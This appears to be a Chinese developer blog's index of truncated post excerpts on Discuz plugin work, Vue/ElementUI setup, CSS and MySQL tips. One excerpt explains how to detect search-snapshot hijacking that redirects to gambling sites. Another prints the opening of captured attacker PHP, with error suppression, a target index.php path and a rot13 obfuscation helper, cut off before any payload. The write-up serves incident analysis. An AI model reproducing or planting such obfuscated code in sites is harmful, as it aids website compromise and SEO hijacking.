discuz如何发现快照被劫持?该如何解决图文教程
前2天遇到两例discuz网站百度快照被劫持的例子,一般快照被劫持很难被发现。
被劫持的表现
site:域名
在搜索引擎中输入自己的网址,然后选择时间:【一月内】。出现被收录的帖子链接,点击后就跳转到博彩网站等。
解决方案
进discuz后台找到工具-文件校验,看下最近有哪些php文件被修改了。
1、排查网站源文件的php 文 ...
win10资源管理器卡死问题处理
win10资源管理器卡死?接下来给大家介绍具体操作的方法,希望对小伙伴们能有所帮助。
在电脑的桌面鼠标右键单击,打开菜单选择个性化选项。
打开设置页面,选择开始选项。
在右侧开始页面中,找到开始菜单任务跳转文件资源管理器显示最近打开的项。
我们就将开始菜单任务跳转文件资源管理器显示最近打开的项功能 ...
Excel 如何在EXCEL中的查找栏中输入手动换行符
在excel里删除换行符,用查找替换即可。
ctrl+f打开查找窗口,然后在查找框中按ctrl+j输入换行符,然后全部替换即可。
PHP eval() 函数 吧字符串当作PHP来执行
定义和用法
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供 ...
JS 原生前端 碰撞检测 代码保存
之前一个偶然的机会看到一段碰撞检测的代码
想起来还是应该保存一下的
因为他是原生的JS写法
好像还录了录像
但是先上代码吧
黑客入侵你网站后写了什么代码_黑客代码解析
一个偶然的机会 , 我们在为客户服务时捕获了一组黑客写的代码
代码写了龙飞凤舞 , 接下来
上代码....
[mw_shl_code=php,true]error_reporting(E_ERROR);
$file_path = '/www/wwwroot/club.arpara.net/index.php';
function get_str($dapeng)
{
$dapeng = str_rot13($dapeng);
return $dapeng;
}
function s() ...
Element 更新 el-input 更新后的变化
el-input
突然不能给渲染后的 input 添加 style了
其实是官方更新了 input-style 标签
所有的渲染后样式必须添加在这个里面
前端vue ElementUI upload 上传
前端
在此借助ElementUI中的upload上传组件。
[mw_shl_code=html,true]
[/mw_shl_code]
1. action表示文件上传的服务器地址接口,即上传到哪里
2. :before-upload表示在文件进行上传之间对文件进行的操作,可以对文件类型,大小进行限制,ElementUI官网的例子
[mw_shl_code=html,true]beforeAlbumUpload(file ...
Element UI Upload 组件 设置只允许上传单张图片的操作
首先附一个官方upload的地址 http://element-cn.eleme.io/#/zh-CN/component/upload
其中有上传多张和不同样式列表的例子,只是在【用户上传头像】这个例子中,在下并没有成功的使用。
会出现显示不出已上传的图片无法显示缩略图,无法调整缩略图的位置。
所以我不想深究,直接用【照片墙】这个例子往上怼。这个例子 ...
解决 VUE 中的 $符号 和 Discuz 中 $ 符号 在模版中的冲突问题
$ 是在 Vue 所有实例中都可用的属性的一个简单约定。这样做会避免和已被定义的数据、方法、计算属性产生冲突。
日志中会先出现 “My App”,然后出现 “The name of some other app”,
因为 this.appName 在实例被创建之后被 data 覆写了。
我们通过 $ 为实例属性设置作用域来避免这种事情发生。
你还可以根据你的喜好使 ...
DZ 拷贝 VUE 和 ElementUI 并在插件开发中调用
1. 找到拷贝 VUE 和 ElementUI 相关文件;
VUE 的文件在我们刚才的安装目录:
D:\d123\node_modules\vue\dist\
文件仅有这一个 -> vue.global.js
Element 在我们刚才的安装目录这:
D:\d123\node_modules\element-plus\dist
文件有两个 -> index.css 和 index.full.js
D:\d123\node_modules\ele ...
安装 Node.js 软件
1. 下载软件
登陆 https://nodejs.org/zh-cn/ 这个网站下载 Node.js 程序;
2. 无脑安装
点击下载的程序开始无脑的安装 , 当中有个选项记得不要点;
楼主点了 , 所以第一次安装死机失败;
3. 点击运行输入CMD 呼出命令提示窗口;
输入node -v,和npm -v,出现版本号,就说明你的node和npm安装成功了;
...
DiscuzX开发中VUE3+ElementUI安装攻略
适用人群 : 本攻略适用于从0开始的安装 , 如果读者是一个老手则无需查看本篇文章;
1. 安装 Node.js 软件
2. npm 安装 VUE 和 ElementUI
3. 拷贝 VUE 和 ElementUI 的安装包到DZ的开发文件夹中
4. 解决 VUE 中的 $符号 和 Discuz 中 $ 符号 在模版中的冲突问题
5. DZ 拷贝 VUE 和 ElementUI 直接下载
...
WIN10_蓝牙和其他设备_如何批量清理
虽然挖坟了,但是我完善一下10楼的说法。(摘抄自贴吧)
1. 右键C盘,选择属性,然后进行磁盘清理,
2. 选择清理系统文件,此时勾选清理‘驱动程序包’然后进行清理。
3. 我的多媒体设备有350多个,清理完后只剩下47个,比起一个一个删要快多了。
4. 清理前,请前往 网络和共享中心 的 高级设置 中 关闭 全部的网络发现,能 ...
DZX 控制友情链接的表是那个
友情链接表 : common_friendlink
MYSQL 随机获取某行
有了这个就不用取值后再进行循环随机了;
直接可以在取值时随机;
// rand() 随机取某行
// LIMIT 1 只要1行
[mw_shl_code=sql,true]ORDER BY rand() LIMIT 1 [/mw_shl_code]
pre_forum_post 主题帖子数据 DZ论坛
pre_forum_post 主题帖子数据
这个表记录着DZ论坛的主题帖子数据 ;
等到有需要是可以修改这个表对相关数据进行修改;
DZ手机模版 footer 文件中 这段代码会使得文本提交乱码
手机模版 footer 文件中 这段代码会使得文本提交乱码!
去掉即可解决!
插件开发是尽可能引入自己的尾部文件不要用系统的;
否则这会是个难题;
DZ的DIY模块开发经验 , 尽量不要开发DIY模块
经验: 在开发时自定义DIY模块尽可能不要用DZ自带 , 因为有手机版无法自定义的状况;
所以这里要自定义DIY模块请尽可能的使用自己编写的程序;
DZ 的登陆跳转等提醒页面 模版位置可修改他解决提示问题;
DZ 的登陆跳转等提醒页面 模版位置
template\模版名\commonshowmessage.htm
这个还没开始研究
防止并发的好点子-后又被进程锁淘汰
DZ 避免并发的好点子 , 点击提交后 弹窗或者切换为读秒页面 , 1~5秒后进行自动提交 , 只提交1次;
提交后弹窗会自动消失 , 如果手动关闭弹窗 , 则会发生不提交的情况;
弹窗出现 , 呼出弹窗的按钮无法再次点击 , 以此做到防止并发数据;
注意以上执行方法仅限于 PHP 5.2 及以下版本程序 , 该程序部分配置不支持PHP进程锁 ...
Discuz! G变量的使用方法(旧)
风格变量篇
$_G['style'] => Array
(官方模板区 cr180整理
$_G['style'][styleid] => 当前风格ID
$_G['style'][name] => 当前风格名
$_G['style'][templateid] => 当前模板体系
$_G['style'][tpldir] => 当前模板目录
$_G['style'][menuhoverbgcolor] => 导航菜单高亮背景颜色
$_G['st ...
本站用二级导航样式
[mw_shl_code=html,true]
#dzf{padding:12px 0 12px 0;border-width: 0 0 1px;line-height:160%}
#dzf p{width:24%;text-indent:53px;}
#dzf p .xw1{font-family:'Hiragino Sans GB','Microsoft YaHei','宋体',Helvetica,Arial,sans-serif;}
.dzfbl{border-left:1px solid #FFF}
.dzfbr{border-right:1px solid #DDD}
#d ...
CSS display 属性详解:display的值有哪些
block :块对象的默认值。用该值为对象之后添加新行
none :隐藏对象。与visibility属性的hidden值不同,其不为被隐藏的对象保留其物理空间
inline :内联对象的默认值。用该值将从对象中删除行
compact :分配对象为块对象或基于内容之上的内联对象
marker :指定内容在容器对象之前或之后。要使用此参数,对象必须和:after及:b ...
CSS display 属性详解:常用display
常用display
1、div{display:block} 有换行作用。
案例:图片做背景,隐藏图片上文字
2、div{display:None } 隐藏对象及对象内容。
案例:CSS隐藏HTML内容
3、div{display:Inline } 在一排显示。
代表案例,对li列表默认一排显示li